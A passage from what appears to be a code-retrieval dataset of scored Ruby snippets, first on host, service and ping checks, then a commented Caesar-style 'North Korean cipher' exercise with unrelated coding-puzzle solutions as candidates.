"0.55307865", "text": "def eaddrnotavail?() EADDRNOTAVAIL == @error_code; end", "title": "" }, { "docid": "55021cc35d50095e850745d7cc73972d", "score": "0.55186224", "text": "def ping?\n false\n end", "title": "" }, { "docid": "c5abf16fe4ab96eccb58471692a38df8", "score": "0.5490254", "text": "def host?\n self.host\n end", "title": "" }, { "docid": "303f51669ca6c68a9ad5af65946fa6cf", "score": "0.54833245", "text": "def ping?(host = @host, options = {})\n ping(host, options).status_code == 0\n end", "title": "" }, { "docid": "6dd5fa9f0430d234090296928b6ca40d", "score": "0.54780567", "text": "def verify_service_and_port_exist!(service_name, port_name)\n service = services[service_name]\n port = service[:ports][port_name] if service\n\n unless port\n raise ArgumentError, \"Unknown service #{service_name.inspect} or port #{port_name.inspect}.\\n\" \\\n \"Here is a list of known services and port:\\n\" + services.inspect\n end\n end", "title": "" }, { "docid": "185f2acb823ba716b140077ead02df60", "score": "0.5465467", "text": "def email_required?\n self.services.empty?\n end", "title": "" }, { "docid": "ea90254ec8e34df0dd076bbf07b98604", "score": "0.5459087", "text": "def check_service_existence\n if (Service.all.count == 0)\n flash[:error] = t(\"alerts.error.services_not_exist\")\n redirect_to :back\n end\n \n return\n end", "title": "" }, { "docid": "a7e76828ce3558098030951f44cb1ec4", "score": "0.5459026", "text": "def allow_service_check_state\n super\n end", "title": "" }, { "docid": "819abaebf9679cc5416715a4fc8c7c07", "score": "0.54484516", "text": "def not_host_already\n if host_user?(current_user) || current_user.nil?\n redirect_to(root_path)\n end\n end", "title": "" }, { "docid": "bc17fe575448534ce4fd29f5403ef5dc", "score": "0.5448327", "text": "def check_host_attribute_state\n super\n end", "title": "" }, { "docid": "662f8b631689ccaf7c9ccdb15652fe33", "score": "0.5446436", "text": "def unhealthy?\n @health.value <= 0\n end", "title": "" }, { "docid": "4b6ede7417927f1540356b04b0a5eb4d", "score": "0.54449135", "text": "def check_puppet_status(group)\n @service.class_filter group\n begin\n @service.status(:service => 'puppet').each do |rpcresult|\n # Check if puppet is disabled\n hostname = rpcresult.results[:sender]\n if rpcresult.results[:data][:status] != \"stopped\"\n raise PuppetEnabledException, hostname\n end\n end\n ensure\n # Make sure we reset the filter after a run\n @service.reset_filter\n end\nend", "title": "" }, { "docid": "362eb999e4f17f3333082ed2e376a222", "score": "0.5444369", "text": "def ensure_service!\n raise \"Must have active connection\" unless @client.service\n end", "title": "" }, { "docid": "b7dd0689942da287424695886fa29512", "score": "0.5432961", "text": "def has_host?(wspace,addr)\n ::ApplicationRecord.connection_pool.with_connection {\n address, scope = addr.split('%', 2)\n wspace.hosts.find_by_address(addr)\n }\n end", "title": "" }, { "docid": "5b92b058818810aa1465012427fc4b4d", "score": "0.5413113", "text": "def empty?\n @clients.empty?\n end", "title": "" }, { "docid": "71a5057bccf58609fdeb9502332db29d", "score": "0.54086655", "text": "def ignore_hosts\n @host_rules.reject\n end", "title": "" }, { "docid": "85b3accb37e24e328a50afcbab6e0d50", "score": "0.54034007", "text": "def check\n\t\tres = Host.find(:first)\n\tend", "title": "" }, { "docid": "1c718a36c9dc3c36637ae67c155b356e", "score": "0.5402778", "text": "def systemd?\n false\n end", "title": "" }, { "docid": "a9144cfcd41591b3432db00ab0d69e5b", "score": "0.53926176", "text": "def ping\n http_get('/') == 'Consul Agent'\n rescue\n false\n end", "title": "" }, { "docid": "cbaeab2b121ffa6ff34ea1d718caa943", "score": "0.5385648", "text": "def dt_service_exist?\n pattern = /#{DT_SERVICE_NAME}/\n candidates = @services.select do |candidate|\n (\n (candidate['label'] == 'user-provided' && candidate['name'] =~ pattern) ||\n candidate['label'] =~ pattern ||\n (!candidate['tags'].nil? && candidate['tags'].any? { |tag| tag =~ pattern })\n ) &&\n !candidate[CREDENTIALS_KEY].nil? &&\n candidate[CREDENTIALS_KEY][SERVER_KEY] &&\n !candidate[CREDENTIALS_KEY]['environmentid']\n end\n\n raise 'Multiple valid dynatrace services exist.' if candidates.length > 1\n\n candidates.one?\n end", "title": "" }, { "docid": "d9193b60e836513f23cee336c1baf2cc", "score": "0.53779143", "text": "def validate_target_bosh_host\n URI.parse(target_bosh_host)\n true\n rescue\n false\n end", "title": "" }, { "docid": "2f197e3c15bdfadb43fe76b94caaa536", "score": "0.53748345", "text": "def service_check(service_id)\n check(\"service:#{service_id}\")\n end", "title": "" }, { "docid": "9c74bfe4df5c71b8df934e16896f3f0c", "score": "0.536538", "text": "def wont_be_empty(msg=nil)\n EmptyAssay.refute!(self, :message=>msg, :backtrace=>caller)\n end", "title": "" }, { "docid": "9da449d334151850c37a9ea1b92918f8", "score": "0.53529775", "text": "def check_host(url)\n if url.scheme !~ /^https?$/\n [422, {}, \"Invalid url: #{url}\"]\n else\n @host_check.call url\n end\n end", "title": "" }, { "docid": "cdb9187dfbdd4fca40b9bac602484b1d", "score": "0.5346879", "text": "def test_nil_getaddrinfo\n hostlookup({ 'x' => '1.1.1.1' }, nil)\n end", "title": "" }, { "docid": "4bcc4d2cf431a32cc7d696d9c7302a0e", "score": "0.53451943", "text": "def check_host\n unless @game.host == current_user\n render( :status => :unauthorized,\n :text => \"Cannot %s a game you didn't create.\" % params[:action])\n return false\n end\n return true\n end", "title": "" }, { "docid": "b38846cbbe6782a193721ffb32307416", "score": "0.5344965", "text": "def storage_server_online?(host)\n !self.client.exists(\"gh.storage.server.offline.#{host}\")\n rescue Errno::ECONNREFUSED\n # If we can't connect to Redis, check to see if the BERTRPC\n # server is alive manually.\n begin\n smoke(host).alive?\n rescue BERTRPC::ReadTimeoutError\n false\n end\n end", "title": "" }, { "docid": "63f175895b1bbdda8185b7ee8b34b401", "score": "0.5340544", "text": "def dynatrace_service_exist?\n @services.one_service? DYNATRACE_SERVICE_NAME, [ENVIRONMENTID, TENANT], [APITOKEN, TENANTTOKEN]\n end", "title": "" }, { "docid": "2cedc97a8f0dd9c3cf69028510491aa5", "score": "0.5339844", "text": "def check_if_process_group_empty\n signal_process_group 0\n end", "title": "" }, { "docid": "7291915d1b9bf067ea7e8945e3c89bf3", "score": "0.5339374", "text": "def empty?\n no_headers.empty? rescue true\n end", "title": "" }, { "docid": "b92beadcf2b0826035c06e713a733242", "score": "0.53364646", "text": "def ping(host=@host)\n super(host)\n\n bool = false\n start_time = Time.now\n\n # Failure here most likely means bad host, so just bail.\n begin\n addr = Socket.getaddrinfo(host, port)\n rescue SocketError => err\n @exception = err\n return false\n end\n\n begin\n # Where addr[0][0] is likely AF_INET.\n sock = Socket.new(Socket.const_get(addr[0][0]), Socket::SOCK_STREAM, 0)\n\n # This may not be entirely necessary\n sock.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1)\n\n begin\n # Where addr[0][3] is an IP address\n sock.connect_nonblock(Socket.pack_sockaddr_in(port, addr[0][3]))\n rescue Errno::EINPROGRESS\n # No-op, continue below\n rescue Exception => err\n # Something has gone horribly wrong\n @exception = err\n return false\n end\n\n resp = IO.select(nil, [sock], nil, timeout)\n\n if resp.nil? # Assume ECONNREFUSED if nil\n if @@service_check\n bool = true\n else\n bool = false\n @exception = Errno::ECONNREFUSED\n end\n else\n sockopt = sock.getsockopt(Socket::SOL_SOCKET, Socket::SO_ERROR)\n\n if sockopt.int != 0\n if @@service_check && sockopt.int == Errno::ECONNREFUSED::Errno\n bool = true\n else\n bool = false\n @exception = SystemCallError.new(sockopt.int)\n end\n else\n bool = true\n end\n end\n ensure\n sock.close if sock\n end\n\n # There is no duration if the ping failed\n @duration = Time.now - start_time if bool\n\n bool\n end", "title": "" }, { "docid": "2af6116283e27016b504e86cef6c21e9", "score": "0.533402", "text": "def exists_on_server?\n false\n end", "title": "" } ]
3b4406fe42e48798325757111d81de4e
I worked on this challenge with: . 1. Solution Write your comments on what each thing is doing. If you have difficulty, go into IRB and play with the methods.
[ { "docid": "076588ebe8cec6127faab76aae36236c", "score": "0.0", "text": "def north_korean_cipher(coded_message)\n input = coded_message.downcase.split(\"\") # Turning every letter into a lower case letter and then splitting it into array\n decoded_sentence = []\n cipher = {\"e\" => \"a\", # This is technically a shift of four letters...Can you think of a way to automate this? Is a hash\n \"f\" => \"b\", # the best data structure for this problem? What are the pros and cons of hashes?\n \"g\" => \"c\", # An array would be beeter structure, we can automate the shiffting of the letters\n \"h\" => \"d\",\n \"i\" => \"e\",\n \"j\" => \"f\",\n \"k\" => \"g\",\n \"l\" => \"h\",\n \"m\" => \"i\",\n \"n\" => \"j\",\n \"o\" => \"k\",\n \"p\" => \"l\",\n \"q\" => \"m\",\n \"r\" => \"n\",\n \"s\" => \"o\",\n \"t\" => \"p\",\n \"u\" => \"q\",\n \"v\" => \"r\",\n \"w\" => \"s\",\n \"x\" => \"t\",\n \"y\" => \"u\",\n \"z\" => \"v\",\n \"a\" => \"w\",\n \"b\" => \"x\",\n \"c\" => \"y\",\n \"d\" => \"z\"}\n\n input.each do |x| # iterating over each input character\n found_match = false #when false the same character will be added to the solution\n cipher.each_key do |y| # iterating thruthe keys of cipher hash\n if x == y #if current character is equal to a hash key\n # puts \"I am comparing x and y. X is #{x} and Y is #{y}.\"\n decoded_sentence << cipher[y]\n found_match = true\n break #it will end the loop once it finds its match\n elsif x == \"@\" || x == \"#\" || x == \"$\" || x == \"%\"|| x == \"^\" || x == \"&\"|| x ==\"*\" #If it matach one of these characters it will add a space\n decoded_sentence << \" \"\n found_match = true\n break\n elsif (0..9).to_a.include?(x) # turns a range into an array and then checks if that array includes the input\n decoded_sentence << x\n found_match = true\n break\n end\n end\n if not found_match #If there is no match then add the character to the solution\n decoded_sentence << x\n end\n end\n decoded_sentence = decoded_sentence.join(\"\")\n\n if decoded_sentence.match(/\\d+/) #Finding all the didgits\n decoded_sentence.gsub!(/\\d+/) { |num| num.to_i / 100 } #Replace and divide by 100\n end\n return decoded_sentence # it sreturning the string\nend", "title": "" } ]
[ { "docid": "b9960478999684c2b536f76e22f6fc63", "score": "0.63616985", "text": "def solution4(input)\n end", "title": "" }, { "docid": "f712d49ec6c615538b2e2aa846391fda", "score": "0.63327914", "text": "def challenge; end", "title": "" }, { "docid": "bca12d2414c241325b8beea187f866fa", "score": "0.6077544", "text": "def isLucky(n)\r\nhalf1 = []\r\nhalf2 = []\r\nn_string = n.to_s\r\n\r\n\r\nfirsthalf = (n_string.length / 2) - 1\r\nsecondhalfstart = (n_string.length / 2)\r\nsecondhalfend = (n_string.length - 1)\r\n(0..firsthalf).each do |idx|\r\n half1 << n_string[idx].to_i\r\nend\r\n\r\n(secondhalfstart..secondhalfend).each do |idx|\r\n half2 << n_string[idx].to_i\r\nend\r\n\r\nreturn true if half1.inject(:+) == half2.inject(:+)\r\nreturn false\r\nend", "title": "" }, { "docid": "0aa3d9ebc94b882f1172fa1ed40657ef", "score": "0.6076458", "text": "def is_happy(n)\n i = 0\n r = false\n destination = []\n while r == false\n n.to_s.split(\"\").each do |x|\n destination << ((x.to_i * x.to_i))\n end\n i = i + 1\n n = destination.inject(&:+)\n r = true if n == 1\n destination = []\n break if i == 1000\n end\n if r == true\n p r\n else\n p false\n end\nend", "title": "" }, { "docid": "36b0cc4672c5b01fa08e1a37de72f6bd", "score": "0.6030394", "text": "def input_string\n result = \"73167176531330624919225119674426574742355349194934\"\n result += \"96983520312774506326239578318016984801869478851843\"\n result += \"85861560789112949495459501737958331952853208805511\"\n result += \"12540698747158523863050715693290963295227443043557\"\n result += \"66896648950445244523161731856403098711121722383113\"\n result += \"62229893423380308135336276614282806444486645238749\"\n result += \"30358907296290491560440772390713810515859307960866\"\n result += \"70172427121883998797908792274921901699720888093776\"\n result += \"65727333001053367881220235421809751254540594752243\"\n result += \"52584907711670556013604839586446706324415722155397\"\n result += \"53697817977846174064955149290862569321978468622482\"\n result += \"83972241375657056057490261407972968652414535100474\"\n result += \"82166370484403199890008895243450658541227588666881\"\n result += \"16427171479924442928230863465674813919123162824586\"\n result += \"17866458359124566529476545682848912883142607690042\"\n result += \"24219022671055626321111109370544217506941658960408\"\n result += \"07198403850962455444362981230987879927244284909188\"\n result += \"84580156166097919133875499200524063689912560717606\"\n result += \"05886116467109405077541002256983155200055935729725\"\n result += \"71636269561882670428252483600823257530420752963450\"\n\n result\nend", "title": "" }, { "docid": "54b5a04b5709efbda06f838626206ec1", "score": "0.60145515", "text": "def goodVsEvil(good, evil)\n # good_power, evil_power = 0, 0\n # good.split.each_with_index do |num, i|\n # if i < 3\n # good_power += num.to_i * (i + 1)\n # elsif i < 5\n # good_power += num.to_i * i\n # elsif i == 5\n # good_power += num.to_i * 2 * i\n # end\n # end\n god = good.split.each_with_index.inject(0) do |sum, (num, i)|\n if i < 3\n sum + num.to_i * (i + 1)\n elsif i < 5\n sum + num.to_i * i\n elsif i == 5\n sum + num.to_i * 2 * i\n end\n end\n \n \n evl = evil.split.each_with_index.inject(0) do |sum, (num, i)|\n case i\n when 0\n sum + num.to_i * (i + 1)\n when 1, 2, 3\n sum + num.to_i * 2\n when 4\n sum + num.to_i * (i - 1)\n when 5\n sum + num.to_i * i\n when 6\n sum + num.to_i * (i + 4) \n end\n end\n \n if evl > god\n str = \"Evil eradicates all trace of Good\"\n elsif evl < god\n str = \"Good triumphs over Evil\"\n else\n str = \"No victor on this battle field\"\n end\n \n \"Battle Result: #{str}\"\nend", "title": "" }, { "docid": "f41cf05b3bb1e361ec3737c489a2c25f", "score": "0.60030353", "text": "def odds_and_evens(string, return_odds)\n# Creates new method with two arguments, 'string' and 'return_odds' boolean.\n\n to_return = \"\"\n# Creates new variable and assigns it an empty string.\n\n string.size.times do |index|\n# First applies the .size method to the string to calculate the size of the string and return the resulting number. E.g. if the string is \"Rare\", .size will applied to the string returns 4 because \"Rare\" has 4 letters.\n\n# Second applies the .times to the number returned after calculating the string size. E.g. if the string is \"Rare\", .times will execute the following loop x4 times.\n\n# Third the \"| index |\" means do for each indexed character the following steps. A string has an index, e.g. [[0, r], [1, a], [2, r], [3, e]], where the first character is the index number and the second is the corresponding character. Note '0' is considered an even number for coding purposes.\n\n next if return_odds && index.even?\n # First iteration iterates over index[0], i.e. \"r'.\n # => next if false && r.even?\n # => next if false && true\n # => next if false\n # => therefore tells ruby don't skip \"r\" and instead move on to complete next step using the return value of index[0].\n\n # Second iteration iterates over index[1], i.e. 'a'.\n # => next if false && a.even?\n # => next if false && false\n # => next if false\n # => therefore tells ruby don't skip \"a\" and instead move on to complete next step using the return value of index[1].\n\n # Third iteration iterates over index[2], i.e. the second letter \"r\".\n # => next if false && r.even?\n # => next if false && true\n # => next if false\n # => therefore tells ruby don't skip \"r\" and instead move on to complete next step using the return value of index[2].\n\n # Fourth iteration iterates over index[3], i.e. \"e\".\n # => next if false && e.even?\n # => next if false && false\n # => next if false\n # => therefore tells ruby don't skip \"e\" and instead move on to complete next step using the return value of index[2].\n\n puts index\n\n # First iteration puts value of index[0] to screen.\n\n # Second iteration puts value of index[1] to screen.\n\n # Third iteration puts value of index[2] to screen.\n\n # Fourth iteration puts value of index[3] to screen.\n\n next if !return_odds && index.odd?\n # First iteration continues to iterate this step over index[0], i.e. \"r\".\n # => next if true && r.odd?\n # => next if true && false\n # => next if false\n # => therefore tells ruby don't skip \"r\" and instead move on to complete the next steps using index[0] as return value.\n\n # Second iteration continues to iterate this step over index[1], i.e. \"a\".\n # => next if true && a.odd?\n # => next if true && true\n # => next if true\n # => therefore tells ruby to skip \"a\" and ignore the next steps.\n\n # Third iteration continues to iterate this step over index[2], i.e. \"r\".\n # => next if true && r.odd?\n # => next if true && false\n # => next if false\n # => therefore tells ruby don't skip \"r\" and instead move on to complete the next steps using index[2] as return value.\n\n # Second iteration continues to iterate this step over index[3], i.e. \"e\".\n # => next if true && e.odd?\n # => next if true && true\n # => next if true\n # => therefore tells ruby to skip \"e\" and ignore the next steps.\n\n puts \"#{index}+x\"\n\n # First iteration puts value of \"index[0]+x\" to screen, i.e. \"0+x\".\n\n # Third iteration puts value of \"index[2]+x\" to screen, i.e. \"2+x\".\n\n to_return << string[index]\n # First iteration continues to iterate this step over index[0], i.e. \"r\".\n # => \"\" << string[0]\n # => \"\" << \"r\"\n # => to_return = \"r\"\n # In other words, ruby adds the current return value, index[0] (i.e. \"r\"), to the variable \"to_return\".\n\n # Second iteration continues to iterate this step over index[2], i.e. \"r\".\n # => \"r\" << string[2]\n # => \"r\" << \"r\"\n # => to_return = \"rr\"\n # In other words, ruby adds the current return value, index[2] (i.e. \"r\"), to the variable \"to_return\".\n\n end\n\n to_return\n# Return the final value of to_return after iterating each character in the chosen string. This does not get returned until the above loop has completed.\n\nend", "title": "" }, { "docid": "60396d976360a20a80b14f177c291c57", "score": "0.5958903", "text": "def solution(s, p, q)\n # write your code in Ruby 2.2\n g = s.length + 1\n a = (s.length + 1)**3\n c = (s.length + 1)**2\n tmp = []\n res = []\n tmp.push 0\n o = 0\n s.split('').each do |i|\n o += if i == 'T'\n 1\n elsif i == 'G'\n g\n elsif i == 'C'\n c\n else\n a\nend\n tmp.push o\n end\n (0...p.length).each do |k|\n o = tmp[q[k] + 1] - tmp[p[k]]\n if o >= a\n res.push 1\n elsif o >= c\n res.push 2\n elsif o >= g\n res.push 3\n else\n res.push 4\n end\n end\n res\nend", "title": "" }, { "docid": "323936c576f02d232ff8b3c7b4a0fbdb", "score": "0.59007025", "text": "def solution(number)\nn = 0..number\na = []\nfor i in n\n if i % 3 == 0 || i % 5 == 0\n a = a.push(i)\n end\n end\ns = 0\n# a.pop\na.each {|x| s += x}\ns\nend", "title": "" }, { "docid": "e2a136369b0dfe578d812e5b2abc12ec", "score": "0.5872656", "text": "def isLucky(n)\n sum, sum2 = 0, 0\n arr = n.to_s.split(\"\")\n \n first_half = arr.take(arr.size / 2) \n second_half = arr.drop((arr.size / 2))\n first_half.each { |x| sum += x.to_i }\n second_half.each {|x| sum2 += x.to_i}\n \n sum == sum2\nend", "title": "" }, { "docid": "951127c361c3ec5bdc0be7bc21790e6a", "score": "0.58573216", "text": "def isLucky(n)\n new_array = n.to_s.split(\"\")\n new_length = new_array.length\n\n a, b = [], []\n\n (0...new_length / 2).each { |x| a.push(new_array[x].to_i) }\n (new_length / 2...new_length).each { |y| b.push(new_array[y].to_i) }\n\n if a.inject(:+) == b.inject(:+)\n return true\n else\n false\n end\n\nend", "title": "" }, { "docid": "12e3ab5bb24eb3f6f1d00e6b007f6822", "score": "0.5845021", "text": "def solution\n (2..(9**5 * 6)).select do |n|\n n.to_s.split(//).map do |d|\n d.to_i ** 5\n end.reduce(:+) == n\n end.reduce(:+)\nend", "title": "" }, { "docid": "d45d411f74262d41ad851457afd5f575", "score": "0.5787851", "text": "def problem_57\n ret,n,d = 0,1,1\n 1000.times do |i|\n n,d = (n+2*d),(n+d)\n ret += 1 if n.to_s.length > d.to_s.length\n end\n ret\nend", "title": "" }, { "docid": "1fa576a292d7587afbc3364f8dcfea1b", "score": "0.5784521", "text": "def isLucky(n)\n a = n.to_s.split(\"\")\n full = a.count - 1\n half = a.count/2 - 1\n \n total_1 = 0\n total_2 = 0\n \n for i in 0..full\n if i > half\n total_2 += a[i].to_i\n else\n total_1 += a[i].to_i\n end\n end\n \n if total_1 == total_2\n true\n else\n false\n end\nend", "title": "" }, { "docid": "eabdd32fa3a69c563917961e33bdbf96", "score": "0.5775948", "text": "def solution(s, p, q)\r\n # write your code in Ruby 2.2\r\n # A -1\r\n # C -2\r\n # G -3\r\n # T -4\r\n # s - string with n charactekrs\r\n #cagccta\r\n #0123345\r\n #p,q - not empty arrays\r\n #\r\n #p[0]=2 q[0]=4 gcc 322 => 2\r\n #p[1]=5 q[1]=5 t 4 => 4\r\n \r\n \r\n arr = Array.new(q.count)\r\n \r\n \r\n\r\n \r\n arr.each_with_index{|el, i|\r\n \r\n ss = s[p[i]..q[i]]\r\n \r\n if ss.index('A') \r\n n = 1\r\n elsif ss.index('C')\r\n n=2\r\n elsif ss.index('G')\r\n n=3\r\n else \r\n n=4\r\n end\r\n \r\n arr[i] = n\r\n \r\n }\r\n \r\n \r\n \r\n arr\r\n \r\nend", "title": "" }, { "docid": "61cfdc3647f43f1c505f522e570dbf15", "score": "0.5758388", "text": "def solution(n)\n # write your code in Ruby 2.2\n a = Math.sqrt(n).floor\n a -= 1 while n % a != 0\n b = n / a\n (a + b) * 2\nend", "title": "" }, { "docid": "528b737d0e56fa36ed3c9a0bc7d2dece", "score": "0.5750638", "text": "def decent_number(n)\n\tleft = 0\n\tright = 0\n\t(n+1).times do |i|\n\t\tleft = n - i \n\t\tright = n - left\n\t#\tputs \"#{left}%3 = #{left%3} | #{right}%5 = #{right%5}\"\n\t\tbreak if left % 3 == 0 && right % 5 == 0\n\tend\n\t#puts \"**l = #{left} r = #{right}\"\n\n\tif left % 3 == 0 && right % 5 == 0\n\t\tfives = \"5\"*left\n\t\tthrees = \"3\"*right\n\t\tputs fives+threes\n\telse\n\t\tputs -1\n\tend\nend", "title": "" }, { "docid": "6f8b5f7d0435a13207d4e20c341f3c79", "score": "0.574735", "text": "def the_interview\n (1..100).each{ |n| puts n % 15 == 0 ? \"fizzbuzz\" : n % 3 == 0 ? \"fizz\" : n % 5 == 0 ? \"buzz\" : n }\n (0..99).reverse_each{|n| puts \"I have #{n} bottles.\"}\nend", "title": "" }, { "docid": "73d1aa4ccc53e037d7f9b2c46c5ca501", "score": "0.57425356", "text": "def solution(number)\n sum = 0\n Array(1..number-1).each do |i|\n if i % 3 == 0 || i % 5 == 0\n sum += i\n end\n end\n sum\nend", "title": "" }, { "docid": "a405800bd4e37c5bee8243265e2283ff", "score": "0.5711823", "text": "def part2(program)\n special = 19690720\n (0..99).to_a.repeated_permutation(2).each do |noun, verb|\n input = program.dup\n input[1] = noun\n input[2] = verb\n\n output = run(input)\n puts \"noun = #{noun}, verb = #{verb}, output = #{output[0]}\"\n if output[0] == special\n return [noun, verb]\n end\n end\n puts \"fuck\"\n return [-1, -1]\nend", "title": "" }, { "docid": "35bd2ec0a754a0a28b75d8448ee76aa6", "score": "0.57002544", "text": "def solution(number)\n\nm, r_1 = number.divmod(1000)\ncd, r_2 = r_1.divmod(100)\nlx, r_3 = r_2.divmod(10)\nvi, r_4 = r_3.divmod(1)\n\nroman = []\n\nm.times { roman << \"M\" }\n\nif cd <= 3\n\tcd.times { roman << \"C\" }\nelsif cd == 4\n\troman << \"CD\"\nelsif cd == 5\n\troman << \"D\"\nelsif cd > 5 && cd < 9\n\troman << \"D\"\n\t(cd - 5).times { roman << \"C\" }\nelsif cd == 9\n\troman << \"CM\"\nend\n\nif lx <= 3\n\tlx.times { roman << \"X\" }\nelsif lx == 4\n\troman << \"XL\"\nelsif lx == 5\n\troman << \"L\"\nelsif lx > 5 && lx < 9\n\troman << \"L\"\n\t(lx - 5).times { roman << \"X\" }\nelsif lx == 9\n\troman << \"XC\"\nend\n\nif vi <= 3\n\tvi.times { roman << \"I\" }\nelsif vi == 4\n\troman << \"IV\"\nelsif vi == 5\n\troman << \"V\"\nelsif vi > 5 && vi < 9\n\troman << \"V\"\n\t(vi - 5).times { roman << \"I\" }\nelsif vi == 9\n\troman << \"IX\"\nend\n\nroman.join\n\nend", "title": "" }, { "docid": "8177e2338342fbfef778f02d1c1aed4b", "score": "0.56949514", "text": "def solution(a)\n # write your code in Ruby 2.2\n binding.pry\n trips = Hash.new {|h,k| h[k]=0}\n start = 0\n ending = 0\n min = nil\n a.each_with_index do |trip,i|\n ending = i\n\n if trips[trip] == 0\n min = ending - start\n end\n trips[trip] += 1\n\n while start < ending\n break if trips[a[start]] - 1 == 0\n trips[start] -= 1\n start += 1\n min = ending - start if ending-start < min\n end\n end\n min\nend", "title": "" }, { "docid": "78bf880151361ed64e96ddc834ff7fdf", "score": "0.5690022", "text": "def solution_one\n x = 0\n (1..999).each do |i|\n if (i % 5) == 0 || (i % 3) == 0\n x = x + i\n end\n end\n x\nend", "title": "" }, { "docid": "f7613aae5d648335b2424bf21c0a08b3", "score": "0.56741244", "text": "def solution1(seeds)\n turn_map = {}\n seeds.each_with_index { |n, turn| turn_map[n] = [1, turn + 1, turn + 1] }\n last_number = seeds.last\n\n ((seeds.length+1)..2020).each do |turn|\n last_stats = turn_map[last_number]\n if last_stats[TIMES_SPOKEN] == 1\n zero = turn_map[0] || [0, turn, turn]\n zero[TIMES_SPOKEN] += 1\n zero[FIRST_SPOKEN] = zero[LAST_SPOKEN]\n zero[LAST_SPOKEN] = turn\n \n turn_map[0] = zero\n last_number = 0\n else\n age = last_stats[LAST_SPOKEN] - last_stats[FIRST_SPOKEN]\n\n num = turn_map[age] || [0, turn, turn]\n num[TIMES_SPOKEN] += 1\n num[FIRST_SPOKEN] = num[LAST_SPOKEN]\n num[LAST_SPOKEN] = turn\n \n turn_map[age] = num\n last_number = age\n end\n end\n\n last_number\nend", "title": "" }, { "docid": "a97ecdb82c53bb5ef7806f452babfc14", "score": "0.56740576", "text": "def solution1(input)\n return \"Not implemented!\"\nend", "title": "" }, { "docid": "70beafc23045715e7fda738e773a4e68", "score": "0.5669497", "text": "def is_happy(n)\n return false if n < 10 && n % 2 == 0\n return false if n < 1 \n return true if n == 1\n \n sum = 0\n\n nsplit = n.to_s.split(\"\")\n nsplit.each do |i|\n sum += (i.to_i * i.to_i)\n end\n\n return is_happy(sum)\n \nend", "title": "" }, { "docid": "31b17baab1d625ddc147e791086d05a9", "score": "0.56610256", "text": "def solution\n (1..40).inject(:*) / (1..20).inject(:*)**2\nend", "title": "" }, { "docid": "a9392dee0faf707e292542e90b88d4c2", "score": "0.5654009", "text": "def solution(a)\r\n a.each do |num|\r\n if (a.count(num) % 2) != 0\r\n return num\r\n end\r\n end\r\nend", "title": "" }, { "docid": "de48274b3b7a2f885d3d8d6629ae2bc4", "score": "0.564937", "text": "def problem_76a\n num = 100\n solve = lambda do |a,off,max|\n n = 0\n while a[off] < max && (a.length-off) >= 2 \n a[off] += a.pop\n n += 1\n n += solve.call(a.dup,off+1,a[off]) if a.length - off > 1\n end\n n\n end\n puts 1 + solve.call([1] * num, 0,num-1)\nend", "title": "" }, { "docid": "01ab7e3014c59c0e8d2bf0446401b3f4", "score": "0.56365544", "text": "def solution(n)\n n.to_s.split(//).inject(1) { |a,d| a + d.to_i }\nend", "title": "" }, { "docid": "4365770b9ed1ce1d1afda189262f2978", "score": "0.5627172", "text": "def solution(a)\n # write your code in Ruby 2.2\n\n # sort a\n a = a.sort\n odd = 0\n\n # loop over the array\n (0..(a.length-1)).step(2) do |i|\n if((i+1 >= a.length) || ((i+1 < a.length) && (a[i] != a[i+1])))\n odd = a[i]\n break\n end\n end\n\n odd\nend", "title": "" }, { "docid": "41f75539c5fbe842f767f150134d4d94", "score": "0.5625052", "text": "def isHappy? n\n acc = {}\n acc[n] = true\n begin\n sum = 0\n n.to_s.split(\"\").map {|i| sum += i.to_i**2}\n\n if sum == 1 then return true\n elsif acc.has_key?(sum) then return false\n else acc[sum] = true end\n\n n = sum\n end while sum != 1\nend", "title": "" }, { "docid": "f3492c4f74b464b678df3a67cc625402", "score": "0.5623803", "text": "def solve(nums)\n count = 0\n nums.each do |num|\n if num.to_s.length % 2 != 0\n count += 1\n end\n end\n return count\nend", "title": "" }, { "docid": "c746f666835e31bc402763bab3ca9579", "score": "0.5623551", "text": "def solution(a, b)\n if a.length > b.length\n return (b + a + b).to_s\n else\n return (a + b + a).to_s\n end\nend", "title": "" }, { "docid": "e8f55d8332038d49a29528b132a3e632", "score": "0.56186044", "text": "def correct(element)\n result = nil\n element.downto(0).each do |j|\n i = element - j\n if j == element && j % 3 == 0\n result = Array.new(j, 5)\n elsif i % 5 == 0 && j % 3 == 0\n result = Array.new(j, 5) + Array.new(i, 3)\n elsif i == element && i % 5 == 0\n result = Array.new(i, 3)\n end\n\n break if result\n end\n\n if result.nil?\n puts -1\n else\n puts result.join()\n end\nend", "title": "" }, { "docid": "3fc2b24227cbb5f7478364c1e6487863", "score": "0.56166565", "text": "def run_tests\n check_solution(1, [6, 29, 18, 2, 72, 19, 18, 10, 37], 18, 2)\n check_solution(2, [6, 29, 18, 2, 72, 19, 18, 10, 37], 9, -1)\nend", "title": "" }, { "docid": "2aac0e7aca54b76e8202d2a4850383fa", "score": "0.5612921", "text": "def solution(number)\n sum = 0\n for i in 1..number - 1\n if (i % 3 == 0 or i % 5 == 0)\n sum += i\n end\n i += i\n end\n return sum\nend", "title": "" }, { "docid": "9ac9f4fce5c49412295e121a295a190d", "score": "0.56093144", "text": "def main\n max = 10 ** 9 + 7\n all = 1\n zero = 1\n nine = 1\n zn = 1\n N.times.each do\n all = all * 10 % max\n zero = zero * 9 % max\n nine = nine * 9 % max\n zn = zn * 8 % max\n end\n return (all - zero - nine + zn) % max\nend", "title": "" }, { "docid": "54daf6b93940e3e4e685ffea5be30ead", "score": "0.5607012", "text": "def alg; end", "title": "" }, { "docid": "96c8cf5dff4b610b8a092add2335be19", "score": "0.5606955", "text": "def isLucky(n)\n n = n.to_s.split('').map(&:to_i)\n n.shift(n.size/2).reduce(:+) == n.reduce(:+)\nend", "title": "" }, { "docid": "2b00a8cafafc538a47343cb0c57c6885", "score": "0.56064105", "text": "def solution(a)\r\n # write your code in Ruby 2.2\r\n #trangular\r\n # a[0] = 10\r\n # a[2] = 5\r\n # a[4] = 8\r\n # 10 + 5 > 8\r\n # 5 + 8 > 10\r\n #8 + 10 > 5\r\n \r\n \r\n l=a.count\r\n \r\n i=0\r\n while(i<l) do\r\n j=i+1\r\n while(j<l) do\r\n k=j+1\r\n \r\n \r\n while(k<l) do\r\n if((a[i] + a[j] > a[k]) && (a[j] +a[k] > a[i]) && (a[k] + a[i] >a[j]))\r\n return 1\r\n end\r\n k+=1 \r\n end \r\n \r\n j+=1 \r\n end\r\n i+=1\r\n end\r\n \r\n return 0\r\n \r\nend", "title": "" }, { "docid": 